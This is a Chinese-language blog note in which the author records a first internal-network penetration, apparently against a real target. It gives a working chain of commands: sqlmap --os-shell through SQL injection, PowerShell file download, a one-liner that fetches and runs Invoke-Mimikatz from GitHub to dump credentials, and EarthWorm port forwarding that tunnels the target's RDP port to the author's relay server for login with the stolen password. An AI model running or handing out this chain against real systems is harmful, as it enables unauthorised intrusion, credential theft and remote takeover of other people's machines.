读万卷书不如行万里路,之前对网上的内网渗透的博客,一知半解,今天终于体验了一回。
因为自己不是主力,所以对有些过程,还不清楚,利用此博客,把今天学到的记录下来,作为笔记。
切入点
目标网站存在sql 注入
- 利用
sqlmap -u "url" --os-shell
进入该网站的cmd界面。 - 利用powershell上传工具。
由于进入的服务为 windows 8版本,没有powershell,所以可以采用 将可在powershell运行的命令前加 powershell - 比如 在powershell 中,下载文件的命令为:
(1)$client = new-object System.Net.WebClient
(2)$client.DownloadFile('#1', '#2')
#1是需要下载文件的url
#2是保存为本地文件的路径,包括文件名. - 在cmd 中要实现此功能则应输入:
(1)powershell $client = new-object System.Net.WebClient
(2)powershell $client.DownloadFile('#1', '#2')
- 或者使用powershell echo 一行一行的写入,这个步骤我不是很清楚,后续补上。
- 将转发端口所需要的工具传到进入的服务器主机中,本来想在该服务器上找到网站所在目录,传webshell但是找了很久都没找到,后面才发现,该服务器为数据库服务器,网站放在另一个服务器。
查看登录密码
- 在进入的cmd 环境中输入:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
即可看到服务管理员所属的域及对应主机登录密码
利用跳板机登录靶机
由于已经上传了工具到靶机,利用自己的一台服务器作为跳板机。
假设我们的服务器IP为:IP1 ,靶机的IP:IP2
- 在跳板机上cmd 中输入命令:
ew_for_Win.exe -s lcx_listen -l 1080 -e 1234
ew_for_Win.exe为我们上传的工具,该命令的意思为: 监听1234端口的流量,并将该端口的流量转发到 本机1080端口上。 - 在靶机的cmd中输入命令:
ew_for_Win.exe -s lcx_slave -d IP1 -e 1234 -f IP2 -g 3389
该命令的意思为:将靶机3389(远程桌面连接)的流量转发到1234端口。
注意这台数据库服务器,既可以访问外网又可以访问内网。
经过这两步操作后,靶机远程桌面3389的流量就映射到跳板机的1080端口上,在跳板机上cmd中输入mstsc ,进入远程连接,输入:IP1:1080即可连接上靶机,输入前面获得的用户名,密码即可成功登录到靶机。
参考博客